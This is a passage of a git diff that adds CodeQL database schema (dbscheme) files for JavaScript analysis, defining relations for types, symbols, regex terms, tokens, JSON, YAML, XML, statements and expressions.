+case @type.kind of
+  0 = @any_type
+| 1 = @string_type
+| 2 = @number_type
+| 3 = @union_type
+| 4 = @true_type
+| 5 = @false_type
+| 6 = @type_reference
+| 7 = @object_type
+| 8 = @canonical_type_variable_type
+| 9 = @typeof_type
+| 10 = @void_type
+| 11 = @undefined_type
+| 12 = @null_type
+| 13 = @never_type
+| 14 = @plain_symbol_type
+| 15 = @unique_symbol_type
+| 16 = @objectkeyword_type
+| 17 = @intersection_type
+| 18 = @tuple_type
+| 19 = @lexical_type_variable_type
+| 20 = @this_type
+| 21 = @number_literal_type
+| 22 = @string_literal_type
+| 23 = @unknown_type
+| 24 = @bigint_type
+| 25 = @bigint_literal_type
+;
+
+@boolean_literal_type = @true_type | @false_type;
+@symbol_type = @plain_symbol_type | @unique_symbol_type;
+@union_or_intersection_type = @union_type | @intersection_type;
+@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type;
+
+has_asserts_keyword(int node: @predicate_typeexpr ref);
+
+@typed_ast_node = @expr | @typeexpr | @function;
+ast_node_type(
+  unique int node: @typed_ast_node ref,
+  int typ: @type ref);
+
+declared_function_signature(
+  unique int node: @function ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_signature(
+  unique int node: @invokeexpr ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_overload_index(
+  unique int node: @invokeexpr ref,
+  int index: int ref
+);
+
+symbols (
+  unique int id: @symbol,
+  int kind: int ref,
+  varchar(900) name: string ref
+);
+
+symbol_parent (
+  unique int symbol: @symbol ref,
+  int parent: @symbol ref
+);
+
+symbol_module (
+  int symbol: @symbol ref,
+  varchar(900) moduleName: string ref
+);
+
+symbol_global (
+  int symbol: @symbol ref,
+  varchar(900) globalName: string ref
+);
+
+case @symbol.kind of
+  0 = @root_symbol
+| 1 = @member_symbol
+| 2 = @other_symbol
+;
+
+@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type;
+@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration;
+
+ast_node_symbol(
+  unique int node: @ast_node_with_symbol ref,
+  int symbol: @symbol ref);
+
+type_symbol(
+  unique int typ: @type_with_symbol ref,
+  int symbol: @symbol ref);
+
+#keyset[typ, name]
+type_property(
+  int typ: @type ref,
+  varchar(900) name: string ref,
+  int propertyType: @type ref);
+
+type_alias(
+  unique int aliasType: @type ref,
+  int underlyingType: @type ref);
+
+@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type;
+@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type;
+type_literal_value(
+  unique int typ: @type_with_literal_value ref,
+  varchar(900) value: string ref);
+
+signature_types (
+  unique int id: @signature_type,
+  int kind: int ref,
+  varchar(900) tostring: string ref,
+  int type_parameters: int ref,
+  int required_params: int ref
+);
+
+is_abstract_signature(
+  unique int sig: @signature_type ref
+);
+
+signature_rest_parameter(
+  unique int sig: @signature_type ref,
+  int rest_param_arra_type: @type ref
+);
+
+case @signature_type.kind of
+  0 = @function_signature_type
+| 1 = @constructor_signature_type
+;
+
+#keyset[typ, kind, index]
+type_contains_signature (
+  int typ: @type ref,
+  int kind: int ref,  // constructor/call/index
+  int index: int ref, // ordering of overloaded signatures
+  int sig: @signature_type ref
+);
+
+#keyset[parent, index]
+signature_contains_type (
+  int child: @type ref,
+  int parent: @signature_type ref,
+  int index: int ref
+);
+
+#keyset[sig, index]
+signature_parameter_name (
+  int sig: @signature_type ref,
+  int index: int ref,
+  varchar(900) name: string ref
+);
+
+number_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+string_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+base_type_names(
+  int typeName: @symbol ref,
+  int baseTypeName: @symbol ref
+);
+
+self_types(
+  int typeName: @symbol ref,
+  int selfType: @type_reference ref
+);
+
+tuple_type_min_length(
+  unique int typ: @type ref,
+  int minLength: int ref
+);
+
+tuple_type_rest_index(
+  unique int typ: @type ref,
+  int index: int ref
+);
+
+// comments
+comments (unique int id: @comment,
+          int kind: int ref,
+          int toplevel: @toplevel ref,
+          varchar(900) text: string ref,
+          varchar(900) tostring: string ref);
+
+case @comment.kind of
+  0 = @slashslash_comment
+| 1 = @slashstar_comment
+| 2 = @doc_comment
+| 3 = @html_comment_start
+| 4 = @htmlcommentend;
+
+@html_comment = @html_comment_start | @htmlcommentend;
+@line_comment = @slashslash_comment | @html_comment;
+@block_comment = @slashstar_comment | @doc_comment;
+
+// source lines
+lines (unique int id: @line,
+       int toplevel: @toplevel ref,
+       varchar(900) text: string ref,
+       varchar(2) terminator: string ref);
+indentation (int file: @file ref,
+            int lineno: int ref,
+            varchar(1) indentChar: string ref,
+            int indentDepth: int ref);
+
+// JavaScript parse errors
+js_parse_errors (unique int id: @js_parse_error,
+        int toplevel: @toplevel ref,
+        varchar(900) message: string ref,
+        varchar(900) line: string ref);
+
+// regular expressions
+#keyset[parent, idx]
+regexpterm (unique int id: @regexpterm,
+        int kind: int ref,
+        int parent: @regexpparent ref,
+        int idx: int ref,
+        varchar(900) tostring: string ref);
+
+@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr;
+
+case @regexpterm.kind of
+   0 = @regexp_alt
+|  1 = @regexp_seq
+|  2 = @regexp_caret
+|  3 = @regexp_dollar
+|  4 = @regexp_wordboundary
+|  5 = @regexp_nonwordboundary
+|  6 = @regexp_positive_lookahead
+|  7 = @regexp_negative_lookahead
+|  8 = @regexp_star
+|  9 = @regexp_plus
+| 10 = @regexp_opt
+| 11 = @regexp_range
+| 12 = @regexp_dot
+| 13 = @regexp_group
+| 14 = @regexp_normal_constant
+| 15 = @regexp_hex_escape
+| 16 = @regexp_unicode_escape
+| 17 = @regexp_dec_escape
+| 18 = @regexp_oct_escape
+| 19 = @regexp_ctrl_escape
+| 20 = @regexp_char_class_escape
+| 21 = @regexp_id_escape
+| 22 = @regexp_backref
+| 23 = @regexp_char_class
+| 24 = @regexp_char_range
+| 25 = @regexp_positive_lookbehind
+| 26 = @regexp_negative_lookbehind
+| 27 = @regexp_unicode_property_escape;
+
+regexp_parse_errors (unique int id: @regexp_parse_error,
+    int regexp: @regexpterm ref,
+    varchar(900) message: string ref);
+
+@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range;
+@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape;
+@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape;
+@regexp_constant = @regexp_normal_constant | @regexp_char_escape;
+@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead;
+@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind;
+@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind;
+@regexp_anchor = @regexp_dollar | @regexp_caret;
+
+is_greedy (int id: @regexp_quantifier ref);
+range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref);
+range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref);
+is_capture (unique int id: @regexp_group ref, int number: int ref);
+is_named_capture (unique int id: @regexp_group ref, string name: string ref);
+is_inverted (int id: @regexp_char_class ref);
+regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref);
+char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref);
+backref (unique int id: @regexp_backref ref, int value: int ref);
+named_backref (unique int id: @regexp_backref ref, string name: string ref);
+unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref);
+unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref);
+
+// tokens
+#keyset[toplevel, idx]
+tokeninfo (unique int id: @token,
+    int kind: int ref,
+    int toplevel: @toplevel ref,
+    int idx: int ref,
+    varchar(900) value: string ref);
+
+case @token.kind of
+  0 = @token_eof
+| 1 = @token_null_literal
+| 2 = @token_boolean_literal
+| 3 = @token_numeric_literal
+| 4 = @token_string_literal
+| 5 = @token_regular_expression
+| 6 = @token_identifier
+| 7 = @token_keyword
+| 8 = @token_punctuator;
+
+// associate comments with the token immediately following them (which may be EOF)
+next_token (int comment: @comment ref, int token: @token ref);
+
+// JSON
+#keyset[parent, idx]
+json (unique int id: @json_value,
+      int kind: int ref,
+      int parent: @json_parent ref,
+      int idx: int ref,
+      varchar(900) tostring: string ref);
+
+json_literals (varchar(900) value: string ref,
+      varchar(900) raw: string ref,
+      unique int expr: @json_value ref);
+
+json_properties (int obj: @json_object ref,
+      varchar(900) property: string ref,
+      int value: @json_value ref);
+
+json_errors (unique int id: @json_parse_error,
+      varchar(900) message: string ref);
+
+json_locations(unique int locatable: @json_locatable ref,
+      int location: @location_default ref);
+
+case @json_value.kind of
+  0 = @json_null
+| 1 = @json_boolean
+| 2 = @json_number
+| 3 = @json_string
+| 4 = @json_array
+| 5 = @json_object;
+
+@json_parent = @json_object | @json_array | @file;
+
+@json_locatable = @json_value | @json_parse_error;
+
+// locations
+@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr;
+
+@locatable = @file
+    | @ast_node
+    | @comment
+    | @line
+    | @js_parse_error | @regexp_parse_error
+    | @regexpterm
+    | @json_locatable
+    | @token
+    | @cfg_node
+    | @jsdoc | @jsdoc_type_expr | @jsdoc_tag
+    | @yaml_locatable
+    | @xmllocatable
+    | @configLocatable
+    | @template_placeholder_tag;
+
+hasLocation (unique int locatable: @locatable ref,
+    int location: @location ref);
+
+// CFG
+entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref);
+exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref);
+guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref);
+case @guard_node.kind of
+  0 = @falsy_guard
+| 1 = @truthy_guard;
+@condition_guard = @falsy_guard | @truthy_guard;
+
+@synthetic_cfg_node = @entry_node | @exit_node | @guard_node;
+@cfg_node = @synthetic_cfg_node | @expr_parent;
+
+successor (int pred: @cfg_node ref, int succ: @cfg_node ref);
+
+// JSDoc comments
+jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref);
+#keyset[parent, idx]
+jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref,
+            int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref);
+jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+
+#keyset[parent, idx]
+jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+                  int kind: int ref,
+                  int parent: @jsdoc_type_expr_parent ref,
+                  int idx: int ref,
+                  varchar(900) tostring: string ref);
+case @jsdoc_type_expr.kind of
+    0 = @jsdoc_any_type_expr
+|   1 = @jsdoc_null_type_expr
+|   2 = @jsdoc_undefined_type_expr
+|   3 = @jsdoc_unknown_type_expr
+|   4 = @jsdoc_void_type_expr
+|   5 = @jsdoc_named_type_expr
+|   6 = @jsdoc_applied_type_expr
+|   7 = @jsdoc_nullable_type_expr
+|   8 = @jsdoc_non_nullable_type_expr
+|   9 = @jsdoc_record_type_expr
+|  10 = @jsdoc_array_type_expr
+|  11 = @jsdoc_union_type_expr
+|  12 = @jsdoc_function_type_expr
+|  13 = @jsdoc_optional_type_expr
+|  14 = @jsdoc_rest_type_expr
+;
+
+#keyset[id, idx]
+jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref);
+jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref);
+jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref);
+
+@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag;
+
+jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref);
+
+@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property;
+
+@optionalchainable = @call_expr | @propaccess;
+
+isOptionalChaining(int id: @optionalchainable ref);
+
+/**
+ * The time taken for the extraction of a file.
+ * This table contains non-deterministic content.
+ *
+ * The sum of the `time` column for each (`file`, `timerKind`) pair
+ * is the total time taken for extraction of `file`.  The `extractionPhase`
+ * column provides a granular view of the extraction time of the file.
+ */
+extraction_time(
+  int file : @file ref,
+  // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`.
+  int extractionPhase: int ref,
+  // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds
+  int timerKind: int ref,
+  float time: float ref
+)
+
+/**
+* Non-timing related data for the extraction of a single file.
+* This table contains non-deterministic content.
+*/
+extraction_data(
+  int file : @file ref,
+  // the absolute path to the cache file
+  varchar(900) cacheFile: string ref,
+  boolean fromCache: boolean ref,
+  int length: int ref
+)
+
+/*- YAML -*/
+
+#keyset[parent, idx]
+yaml (unique int id: @yaml_node,
+      int kind: int ref,
+      int parent: @yaml_node_parent ref,
+      int idx: int ref,
+      string tag: string ref,
+      string tostring: string ref);
+
+case @yaml_node.kind of
+  0 = @yaml_scalar_node
+| 1 = @yaml_mapping_node
+| 2 = @yaml_sequence_node
+| 3 = @yaml_alias_node
+;
+
+@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node;
+
+@yaml_node_parent = @yaml_collection_node | @file;
+
+yaml_anchors (unique int node: @yaml_node ref,
+              string anchor: string ref);
+
+yaml_aliases (unique int alias: @yaml_alias_node ref,
+              string target: string ref);
+
+yaml_scalars (unique int scalar: @yaml_scalar_node ref,
+              int style: int ref,
+              string value: string ref);
+
+yaml_errors (unique int id: @yaml_error,
+             string message: string ref);
+
+yaml_locations(unique int locatable: @yaml_locatable ref,
+             int location: @location_default ref);
+
+@yaml_locatable = @yaml_node | @yaml_error;
+
+/*- XML Files -*/
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*- Configuration files with key value pairs -*/
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/semmlecode.javascript.dbscheme b/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/semmlecode.javascript.dbscheme
new file mode 100644
index 000000000000..5b5db607d20c
--- /dev/null
+++ b/javascript/ql/lib/upgrades/c88c69174bd0dd4e95f1bcfbada68a2505e812c3/semmlecode.javascript.dbscheme
@@ -0,0 +1,1193 @@
+/*** Standard fragments ***/
+
+/*- Files and folders -*/
+
+/**
+ * The location of an element.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*- Lines of code -*/
+
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+/*- External data -*/
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+/*- Source location prefix -*/
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/*- JavaScript-specific part -*/
+
+@location = @location_default
+
+@sourceline = @locatable;
+
+filetype(
+  int file: @file ref,
+  string filetype: string ref
+)
+
+// top-level code fragments
+toplevels (unique int id: @toplevel,
+           int kind: int ref);
+
+is_externs (int toplevel: @toplevel ref);
+
+case @toplevel.kind of
+   0 = @script
+|  1 = @inline_script
+|  2 = @event_handler
+|  3 = @javascript_url
+|  4 = @template_toplevel;
+
+is_module (int tl: @toplevel ref);
+is_nodejs (int tl: @toplevel ref);
+is_es2015_module (int tl: @toplevel ref);
+is_closure_module (int tl: @toplevel ref);
+
+@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag;
+toplevel_parent_xml_node(
+  unique int toplevel: @toplevel ref,
+  int xmlnode: @xml_node_with_code ref);
+
+xml_element_parent_expression(
+  unique int xmlnode: @xmlelement ref,
+  int expression: @expr ref,
+  int index: int ref);
+
+// statements
+#keyset[parent, idx]
+stmts (unique int id: @stmt,
+       int kind: int ref,
+       int parent: @stmt_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+stmt_containers (unique int stmt: @stmt ref,
+       int container: @stmt_container ref);
+
+jump_targets (unique int jump: @stmt ref,
+       int target: @stmt ref);
+
+@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer;
+@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration;
+
+case @stmt.kind of
+   0 = @empty_stmt
+|  1 = @block_stmt
+|  2 = @expr_stmt
+|  3 = @if_stmt
+|  4 = @labeled_stmt
+|  5 = @break_stmt
+|  6 = @continue_stmt
+|  7 = @with_stmt
+|  8 = @switch_stmt
+|  9 = @return_stmt
+| 10 = @throw_stmt
+| 11 = @try_stmt
+| 12 = @while_stmt
+| 13 = @do_while_stmt
+| 14 = @for_stmt
+| 15 = @for_in_stmt
+| 16 = @debugger_stmt
+| 17 = @function_decl_stmt
+| 18 = @var_decl_stmt
+| 19 = @case
+| 20 = @catch_clause
+| 21 = @for_of_stmt
+| 22 = @const_decl_stmt
+| 23 = @let_stmt
+| 24 = @legacy_let_stmt
+| 25 = @for_each_stmt
+| 26 = @class_decl_stmt
+| 27 = @import_declaration
+| 28 = @export_all_declaration
+| 29 = @export_default_declaration
+| 30 = @export_named_declaration
+| 31 = @namespace_declaration
+| 32 = @import_equals_declaration
+| 33 = @export_assign_declaration
+| 34 = @interface_declaration
+| 35 = @type_alias_declaration
+| 36 = @enum_declaration
+| 37 = @external_module_declaration
+| 38 = @export_as_namespace_declaration
+| 39 = @global_augmentation_declaration
+| 40 = @using_decl_stmt
+;
+
+@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt;
+
+@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration;
+
+@namespace_definition = @namespace_declaration | @enum_declaration;
+@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member;
+
+is_instantiated(unique int decl: @namespace_declaration ref);
+
+@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field;
+has_declare_keyword(unique int stmt: @declarable_node ref);
+
+is_for_await_of(unique int forof: @for_of_stmt ref);
+
+// expressions
+#keyset[parent, idx]
+exprs (unique int id: @expr,
+       int kind: int ref,
+       int parent: @expr_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+literals (varchar(900) value: string ref,
+       varchar(900) raw: string ref,
+       unique int expr: @expr_or_type ref);
+
+enclosing_stmt (unique int expr: @expr_or_type ref,
+       int stmt: @stmt ref);
+
+expr_containers (unique int expr: @expr_or_type ref,
+       int container: @stmt_container ref);
+
+array_size (unique int ae: @arraylike ref,
+       int sz: int ref);
+
+is_delegating (int yield: @yield_expr ref);
+
+@expr_or_stmt = @expr | @stmt;
+@expr_or_type = @expr | @typeexpr;
+@expr_parent = @expr_or_stmt | @property | @function_typeexpr;
+@arraylike = @array_expr | @array_pattern;
+@type_annotation = @typeexpr | @jsdoc_type_expr;
+@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel;
+
+case @expr.kind of
+   0 = @label
+|  1 = @null_literal
+|  2 = @boolean_literal
+|  3 = @number_literal
+|  4 = @string_literal
+|  5 = @regexp_literal
+|  6 = @this_expr
+|  7 = @array_expr
+|  8 = @obj_expr
+|  9 = @function_expr
+| 10 = @seq_expr
+| 11 = @conditional_expr
+| 12 = @new_expr
+| 13 = @call_expr
+| 14 = @dot_expr
+| 15 = @index_expr
+| 16 = @neg_expr
+| 17 = @plus_expr
+| 18 = @log_not_expr
+| 19 = @bit_not_expr
+| 20 = @typeof_expr
+| 21 = @void_expr
+| 22 = @delete_expr
+| 23 = @eq_expr
+| 24 = @neq_expr
+| 25 = @eqq_expr
+| 26 = @neqq_expr
+| 27 = @lt_expr
+| 28 = @le_expr
+| 29 = @gt_expr
+| 30 = @ge_expr
+| 31 = @lshift_expr
+| 32 = @rshift_expr
+| 33 = @urshift_expr
+| 34 = @add_expr
+| 35 = @sub_expr
+| 36 = @mul_expr
+| 37 = @div_expr
+| 38 = @mod_expr
+| 39 = @bitor_expr
+| 40 = @xor_expr
+| 41 = @bitand_expr
+| 42 = @in_expr
+| 43 = @instanceof_expr
+| 44 = @logand_expr
+| 45 = @logor_expr
+| 47 = @assign_expr
+| 48 = @assign_add_expr
+| 49 = @assign_sub_expr
+| 50 = @assign_mul_expr
+| 51 = @assign_div_expr
+| 52 = @assign_mod_expr
+| 53 = @assign_lshift_expr
+| 54 = @assign_rshift_expr
+| 55 = @assign_urshift_expr
+| 56 = @assign_or_expr
+| 57 = @assign_xor_expr
+| 58 = @assign_and_expr
+| 59 = @preinc_expr
+| 60 = @postinc_expr
+| 61 = @predec_expr
+| 62 = @postdec_expr
+| 63 = @par_expr
+| 64 = @var_declarator
+| 65 = @arrow_function_expr
+| 66 = @spread_element
+| 67 = @array_pattern
+| 68 = @object_pattern
+| 69 = @yield_expr
+| 70 = @tagged_template_expr
+| 71 = @template_literal
+| 72 = @template_element
+| 73 = @array_comprehension_expr
+| 74 = @generator_expr
+| 75 = @for_in_comprehension_block
+| 76 = @for_of_comprehension_block
+| 77 = @legacy_letexpr
+| 78 = @var_decl
+| 79 = @proper_varaccess
+| 80 = @class_expr
+| 81 = @super_expr
+| 82 = @newtarget_expr
+| 83 = @named_import_specifier
+| 84 = @import_default_specifier
+| 85 = @import_namespace_specifier
+| 86 = @named_export_specifier
+| 87 = @exp_expr
+| 88 = @assign_exp_expr
+| 89 = @jsx_element
+| 90 = @jsx_qualified_name
+| 91 = @jsx_empty_expr
+| 92 = @await_expr
+| 93 = @function_sent_expr
+| 94 = @decorator
+| 95 = @export_default_specifier
+| 96 = @export_namespace_specifier
+| 97 = @bind_expr
+| 98 = @external_module_reference
+| 99 = @dynamic_import
+| 100 = @expression_with_type_arguments
+| 101 = @prefix_type_assertion
+| 102 = @as_type_assertion
+| 103 = @export_varaccess
+| 104 = @decorator_list
+| 105 = @non_null_assertion
+| 106 = @bigint_literal
+| 107 = @nullishcoalescing_expr
+| 108 = @e4x_xml_anyname
+| 109 = @e4x_xml_static_attribute_selector
+| 110 = @e4x_xml_dynamic_attribute_selector
+| 111 = @e4x_xml_filter_expression
+| 112 = @e4x_xml_static_qualident
+| 113 = @e4x_xml_dynamic_qualident
+| 114 = @e4x_xml_dotdotexpr
+| 115 = @import_meta_expr
+| 116 = @assignlogandexpr
+| 117 = @assignlogorexpr
+| 118 = @assignnullishcoalescingexpr
+| 119 = @template_pipe_ref
+| 120 = @generated_code_expr
+| 121 = @satisfies_expr
+;
+
+@varaccess = @proper_varaccess | @export_varaccess;
+@varref = @var_decl | @varaccess;
+
+@identifier = @label | @varref | @type_identifier;
+
+@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal;
+
+@propaccess = @dot_expr | @index_expr;
+
+@invokeexpr = @new_expr | @call_expr;
+
+@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element;
+
+@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr;
+
+@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr;
+
+@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr;
+
+@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr;
+
+@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr;
+
+@pattern = @varref | @array_pattern | @object_pattern;
+
+@comprehension_expr = @array_comprehension_expr | @generator_expr;
+
+@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block;
+
+@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier;
+
+@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier;
+
+@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier;
+
+@type_assertion = @as_type_assertion | @prefix_type_assertion;
+
+@class_definition = @class_decl_stmt | @class_expr;
+@interface_definition = @interface_declaration | @interface_typeexpr;
+@class_or_interface = @class_definition | @interface_definition;
+
+@lexical_decl = @var_decl | @type_decl;
+@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access;
+@lexical_ref = @lexical_decl | @lexical_access;
+
+@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector;
+@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident;
+
+expr_contains_template_tag_location(
+  int expr: @expr ref,
+  int location: @location ref
+);
+
+@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file;
+
+template_placeholder_tag_info(
+  unique int node: @template_placeholder_tag,
+  int parentNode: @template_placeholder_tag_parent ref,
+  varchar(900) raw: string ref
+);
+
+// scopes
+scopes (unique int id: @scope,
+        int kind: int ref);
+
+case @scope.kind of
+   0 = @global_scope
+|  1 = @function_scope
+|  2 = @catch_scope
+|  3 = @module_scope
+|  4 = @block_scope
+|  5 = @for_scope
+|  6 = @for_in_scope // for-of scopes work the same as for-in scopes
+|  7 = @comprehension_block_scope
+|  8 = @class_expr_scope
+|  9 = @namespace_scope
+| 10 = @class_decl_scope
+| 11 = @interface_scope
+| 12 = @type_alias_scope
+| 13 = @mapped_type_scope
+| 14 = @enum_scope
+| 15 = @external_module_scope
+| 16 = @conditional_type_scope;
+
+scopenodes (unique int node: @ast_node ref,
+            int scope: @scope ref);
+
+scopenesting (unique int inner: @scope ref,
+              int outer: @scope ref);
+
+// functions
+@function = @function_decl_stmt | @function_expr | @arrow_function_expr;
+
+@parameterized = @function | @catch_clause;
+@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr;
+
+is_generator (int fun: @function ref);
+has_rest_parameter (int fun: @function ref);
+is_async (int fun: @function ref);
+
+// variables and lexically scoped type names
+#keyset[scope, name]
+variables (unique int id: @variable,
+           varchar(900) name: string ref,
+           int scope: @scope ref);
+
+#keyset[scope, name]
+local_type_names (unique int id: @local_type_name,
+                  varchar(900) name: string ref,
+                  int scope: @scope ref);
+
+#keyset[scope, name]
+local_namespace_names (unique int id: @local_namespace_name,
+                       varchar(900) name: string ref,
+                       int scope: @scope ref);
+
+is_arguments_object (int id: @variable ref);
+
+@lexical_name = @variable | @local_type_name | @local_namespace_name;
+
+@bind_id = @varaccess | @local_var_type_access;
+bind (unique int id: @bind_id ref,
+      int decl: @variable ref);
+
+decl (unique int id: @var_decl ref,
+      int decl: @variable ref);
+
+@typebind_id = @local_type_access | @export_varaccess;
